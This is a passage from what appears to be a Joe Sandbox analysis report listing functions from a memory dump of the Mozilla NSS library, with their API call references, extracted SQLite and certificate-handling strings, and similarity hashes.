PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CC2CDBB,?,6CC2D079,00000000,00000001), ref: 6CC4AEF1
free.MOZGLUE(6CC2CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6CC2CDBB,?), ref: 6CC4AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CC2CDBB,?,6CC2D079,00000000,00000001), ref: 6CC4AF30

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 09fbf032707ee8d6af4f20e171559abd8d8c09657b67a6e8da0f03ab1e52136e
Instruction ID: eb6280c2b7891af4afc6e0d43cbae9c39270e89c54216a78b41822bce02b9259
Opcode Fuzzy Hash: 09fbf032707ee8d6af4f20e171559abd8d8c09657b67a6e8da0f03ab1e52136e
Instruction Fuzzy Hash: 55517EB5A00602AFEB01DF25D884B66B7B4FF49318F14C665E91897E11F731E8A4CBD1

Function 6CC24CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6CC2AB7F,?,00000000,?), ref: 6CC24CB4
EnterCriticalSection.KERNEL32(0000001C,?,6CC2AB7F,?,00000000,?), ref: 6CC24CC8
TlsGetValue.KERNEL32(?,6CC2AB7F,?,00000000,?), ref: 6CC24CE0
EnterCriticalSection.KERNEL32(?,?,6CC2AB7F,?,00000000,?), ref: 6CC24CF4
PL_HashTableLookup.NSS3(?,?,?,6CC2AB7F,?,00000000,?), ref: 6CC24D03
PR_Unlock.NSS3(?,00000000,?), ref: 6CC24D10

Part of subcall function 6CCADD70: TlsGetValue.KERNEL32 ref: 6CCADD8C
Part of subcall function 6CCADD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CCADDB4

PR_Now.NSS3(?,00000000,?), ref: 6CC24D26

Part of subcall function 6CCC9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CD10A27), ref: 6CCC9DC6
Part of subcall function 6CCC9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CD10A27), ref: 6CCC9DD1
Part of subcall function 6CCC9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CCC9DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6CC24D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6CC24DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6CC24E02

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 3825d86375a34b40de744e946d0c24688b00931f8848ac91675ec651978fdf2d
Instruction ID: 7c8e06ae62e87c5cf14fa5806e2f5c3efda6cf163743a6cedad5ab8f17905c00
Opcode Fuzzy Hash: 3825d86375a34b40de744e946d0c24688b00931f8848ac91675ec651978fdf2d
Instruction Fuzzy Hash: BE41A5B5E002059BEB01DF69EC44A6A77A8BF05358F0541B0ED1887B12FB35D959C7A2

Function 6CC0BFF0 Relevance: 15.1, APIs: 10, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CC0BFFB

Part of subcall function 6CC60FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CC087ED,00000800,6CBFEF74,00000000), ref: 6CC61000
Part of subcall function 6CC60FF0: PR_NewLock.NSS3(?,00000800,6CBFEF74,00000000), ref: 6CC61016
Part of subcall function 6CC60FF0: PL_InitArenaPool.NSS3(00000000,security,6CC087ED,00000008,?,00000800,6CBFEF74,00000000), ref: 6CC6102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000018C), ref: 6CC0C015

Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC610F3
Part of subcall function 6CC610C0: EnterCriticalSection.KERNEL32(?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6110C
Part of subcall function 6CC610C0: PL_ArenaAllocate.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61141
Part of subcall function 6CC610C0: PR_Unlock.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61182
Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6119C

memset.VCRUNTIME140(-00000004,00000000,00000188), ref: 6CC0C032
DER_SetUInteger.NSS3(00000000,00000078,00000000), ref: 6CC0C04D

Part of subcall function 6CC569E0: PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CC56A47
Part of subcall function 6CC569E0: memcpy.VCRUNTIME140(00000000,-00000005,00000001), ref: 6CC56A64

DER_SetUInteger.NSS3(00000000,00000084,?), ref: 6CC0C064
CERT_CopyName.NSS3(00000000,000000A8,?), ref: 6CC0C07B

Part of subcall function 6CC08980: PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6CC07310), ref: 6CC089B8
Part of subcall function 6CC08980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6CC07310), ref: 6CC089E6
Part of subcall function 6CC08980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6CC08A00
Part of subcall function 6CC08980: CERT_CopyRDN.NSS3(00000004,00000000,6CC07310,?,?,00000004,?), ref: 6CC08A1B
Part of subcall function 6CC08980: PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6CC08A74

Part of subcall function 6CC01D10: PORT_FreeArena_Util.NSS3(000000B0,00000000,00000000,00000000,00000000,?,6CC0C097,00000000,000000B0,?), ref: 6CC01D2C
Part of subcall function 6CC01D10: SECITEM_CopyItem_Util.NSS3(000000B0,00000004,6CC0C09B,00000000,00000000,00000000,?,6CC0C097,00000000,000000B0,?), ref: 6CC01D3F
Part of subcall function 6CC01D10: SECITEM_CopyItem_Util.NSS3(000000B0,-00000010,6CC0C087,00000000,000000B0,?), ref: 6CC01D54

CERT_CopyName.NSS3(00000000,000000CC,?), ref: 6CC0C0AD
SECKEY_CopySubjectPublicKeyInfo.NSS3(00000000,-000000D4,?), ref: 6CC0C0C9

Part of subcall function 6CC12DD0: SECOID_CopyAlgorithmID_Util.NSS3(-000000D4,-00000004,6CC0C0D2,6CC0C0CE,00000000,-000000D4,?), ref: 6CC12DF5
Part of subcall function 6CC12DD0: SECITEM_CopyItem_Util.NSS3(-000000D4,-0000001C,?,?,?,?,6CC0C0CE,00000000,-000000D4,?), ref: 6CC12E27

CERT_DestroyCertificate.NSS3(00000000), ref: 6CC0C0D6
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC0C0E3

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Copy$Arena$Alloc_Arena_$FreeItem_$IntegerNameValue$AlgorithmAllocateCertificateCriticalDestroyEnterGrow_InfoInitLockPoolPublicSectionSubjectUnlockcallocmemcpymemset
String ID:
API String ID: 3955726912-0
Opcode ID: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction ID: 9f5325593e1dec158cf1cac5ec282be8dab5169bd0b8f9809c85af22d8e52153
Opcode Fuzzy Hash: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction Fuzzy Hash: 862162E674020567FB006A65AD81FFB326C9B4175CF084134FD04DAA46FB27D91AC273

Function 6CC02E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CC02CDA,?,00000000), ref: 6CC02E1E

Part of subcall function 6CC5FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CC09003,?), ref: 6CC5FD91
Part of subcall function 6CC5FD80: PORT_Alloc_Util.NSS3(A4686CC6,?), ref: 6CC5FDA2
Part of subcall function 6CC5FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CC6,?,?), ref: 6CC5FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CC02E33

Part of subcall function 6CC5FD80: free.MOZGLUE(00000000,?,?), ref: 6CC5FDD1

TlsGetValue.KERNEL32 ref: 6CC02E4E
EnterCriticalSection.KERNEL32(?), ref: 6CC02E5E
PL_HashTableLookup.NSS3(?), ref: 6CC02E71
PL_HashTableRemove.NSS3(?), ref: 6CC02E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6CC02E96
PR_Unlock.NSS3 ref: 6CC02EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC02EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC02EC5

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: fd2c9c64c42f859dc08b70e6ad965170637baecc20cd8f800163d9020cbe8487
Instruction ID: da8c34d2a61867696994d0596247edbebb43995a63fe042cf474eab8200a9f46
Opcode Fuzzy Hash: fd2c9c64c42f859dc08b70e6ad965170637baecc20cd8f800163d9020cbe8487
Instruction Fuzzy Hash: A1210472E40101ABFF011B66EC49AAB3A78EB5235EF140030EE2882712F733D569C6A1

Function 6CBEFC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CBEFD18
sqlite3_initialize.NSS3 ref: 6CBEFD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CBEFD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6CBEFD99
sqlite3_free.NSS3(00000000), ref: 6CBEFE3C
sqlite3_free.NSS3(?), ref: 6CBEFEE3
sqlite3_free.NSS3(?), ref: 6CBEFEEE

Strings

simple, xrefs: 6CBEFC79

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: 55169c9feee20f799ab90934b808f5fd1bf0a2e3787623b58ba53e71c07bc171
Instruction ID: 80d537151146d4bb8668821b2a92a6b519c86be27dc3b21a7a77878bc1909888
Opcode Fuzzy Hash: 55169c9feee20f799ab90934b808f5fd1bf0a2e3787623b58ba53e71c07bc171
Instruction Fuzzy Hash: B091B3B0E012458FDB04CF55D880A6EFBB2FF88798F24C568D8199BB52E731E941CB91

Function 6CBF5CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CBF5EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CBF5EED

Strings

unable to close due to unfinalized statements or unfinished backups, xrefs: 6CBF5E64
invalid, xrefs: 6CBF5EBE
misuse, xrefs: 6CBF5EDB
API call with %s database connection pointer, xrefs: 6CBF5EC3
%s at line %d of [%.10s], xrefs: 6CBF5EE0
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CBF5ED1

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: a891bcdeb0aa6e222002c1445854d3e2f18a2cdc3cc5e763b0849a70bed525c7
Instruction ID: 3b985498cfd269ebed5117ec82163b0655220ccd5cfd8a2a6562790c85eaebe7
Opcode Fuzzy Hash: a891bcdeb0aa6e222002c1445854d3e2f18a2cdc3cc5e763b0849a70bed525c7
Instruction Fuzzy Hash: E481C234B066A19BEB19CF19C848BAA7770FF41308F158258D8355BB51D730E84FCBAA

Function 6CBDDCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CBDDDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CBDDE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CBDDE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CBDDEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CBDDF78

Strings

database corruption, xrefs: 6CBDDE5C, 6CBDDE8B
%s at line %d of [%.10s], xrefs: 6CBDDE61, 6CBDDE90
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CBDDE52, 6CBDDE81

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: 92e09fe6d2b254b6fdceee857f8f491c9ca6569e2af0d08824ac90fa686e6a82
Instruction ID: fc96960cd6f97f3d8b6260f17c7a06d39f2ffe2a9915670c1f1d6466c281fcc0
Opcode Fuzzy Hash: 92e09fe6d2b254b6fdceee857f8f491c9ca6569e2af0d08824ac90fa686e6a82
Instruction Fuzzy Hash: E381B071604391AFDB14CF35D880B6A77F1EB45308F16882CE99A8BA51EB31F845CB62

Function 6CB8CEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CB8B999), ref: 6CB8CFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CB8B999), ref: 6CB8D02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6CB8B999), ref: 6CB8D041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CB8B999), ref: 6CCD972B

Strings

database corruption, xrefs: 6CB8CFE7, 6CB8D013, 6CB8D028, 6CB8D039, 6CB8D03E, 6CCD9786
%s at line %d of [%.10s], xrefs: 6CB8CFEC, 6CB8D018, 6CB8D029, 6CB8D03F, 6CCD978B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB8CFDD, 6CB8D00E, 6CB8D022, 6CB8D033, 6CCD9780

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: e765691656ac35178d5c080a6bb30b40ac0b1ae6ada8b6f4eaecb0aabc003318
Instruction ID: a778ba88a7252a4ed41d75304e8b08bd61509c9bef636bd0ca21d00db214d4f8
Opcode Fuzzy Hash: e765691656ac35178d5c080a6bb30b40ac0b1ae6ada8b6f4eaecb0aabc003318
Instruction Fuzzy Hash: A6618C71A042609BD710CF29C840BA7B7F5EF55318F19426DE5489FB82E376E847C7A1

Function 6CC8FFF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC95B40: PR_GetIdentitiesLayer.NSS3 ref: 6CC95B56

PK11_FreeSymKey.NSS3(00000000), ref: 6CC90113
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC90130
PORT_Alloc_Util.NSS3(00000040), ref: 6CC9015D
memcpy.VCRUNTIME140(-00000042,?,?), ref: 6CC901AF
PR_SetError.NSS3(FFFFD056,00000000), ref: 6CC90202
free.MOZGLUE(?), ref: 6CC90224
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC90253

Strings

exporter, xrefs: 6CC900F7

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Error$Alloc_FreeIdentitiesK11_LayerUtilfreememcpy
String ID: exporter
API String ID: 712147604-111224270
Opcode ID: dca06c6157effcfbd77f9a076e4551b3a3dcdc5820ba1d07df6406a45825de54
Instruction ID: f9e17040b0fcd89348ba82b5fbcf5b6e907e27861435ed1b5af4286d58ef6c27
Opcode Fuzzy Hash: dca06c6157effcfbd77f9a076e4551b3a3dcdc5820ba1d07df6406a45825de54
Instruction Fuzzy Hash: EE6103B1D007899BEF118FA8CC04BEE77B6FF4830CF144228E91A9AA61F7319955CB51

Function 6CC0AF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CC0AFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CD29500,6CC03F91), ref: 6CC0AFD2

Part of subcall function 6CC5B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CD318D0,?), ref: 6CC5B095

DER_GetInteger_Util.NSS3(?), ref: 6CC0B007

Part of subcall function 6CC56A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6CC01666,?,6CC0B00C,?), ref: 6CC56AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CC0B02F
PR_CallOnce.NSS3(6CD62AA4,6CC612D0), ref: 6CC0B046
PL_FreeArenaPool.NSS3 ref: 6CC0B058
PL_FinishArenaPool.NSS3 ref: 6CC0B060

Strings

security, xrefs: 6CC0AFB8

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: 2dcb39c788202b66d284d2eefe57422eaa40841585ce48c7aa3e5891176effde
Instruction ID: 4679bb6b49fe5a382d73e5566dd0537272519b4e536dd1940b17067878f0301a
Opcode Fuzzy Hash: 2dcb39c788202b66d284d2eefe57422eaa40841585ce48c7aa3e5891176effde
Instruction Fuzzy Hash: 10310AB060430097E710CF15DC95BAA77A8AF8672CF100619E9755BBD1F733910AC797

Function 6CC03E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6CC040D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CC03F7F,?,00000055,?,?,6CC01666,?,?), ref: 6CC040D9
Part of subcall function 6CC040D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CC01666,?,?), ref: 6CC040FC
Part of subcall function 6CC040D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CC01666,?,?), ref: 6CC04138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC03EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CC03ED6

Part of subcall function 6CC5B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CD318D0,?), ref: 6CC5B095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CC03EEE

Part of subcall function 6CC5FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CC58D2D,?,00000000,?), ref: 6CC5FB85
Part of subcall function 6CC5FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CC5FBB1

PR_CallOnce.NSS3(6CD62AA4,6CC612D0), ref: 6CC03F02
PL_FreeArenaPool.NSS3 ref: 6CC03F14
PL_FinishArenaPool.NSS3 ref: 6CC03F1C

Part of subcall function 6CC664F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CC6127C,00000000,00000000,00000000), ref: 6CC6650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC03F27

Strings

security, xrefs: 6CC03EBC

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

